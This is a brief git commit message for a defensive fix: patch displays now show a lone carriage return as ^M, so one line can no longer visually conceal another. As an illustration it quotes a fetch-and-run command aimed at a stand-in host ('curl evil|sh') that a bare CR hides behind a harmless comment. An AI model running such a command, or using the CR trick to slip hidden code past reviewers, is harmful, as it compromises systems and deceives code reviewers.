fix(trail): show a lone carriage return in a patch as ^M

main

Commit

peyton-altyesterday

Keeping every CR let a patch line hide another's text on screen ('+curl evil|sh\r+// harmless') while the hidden bytes are what gets applied. Keep CR only where it ends a CRLF line; show a lone one.

Co-Authored-By: Claude Opus 5.5 noreply@anthropic.com Claude-Session: https://claude.ai/code/session_01XJeHKftfKHD7hSi6ZxJww8 Entire-Checkpoint: 01M6KW78D4WPH3TQ92ZPPXX1TF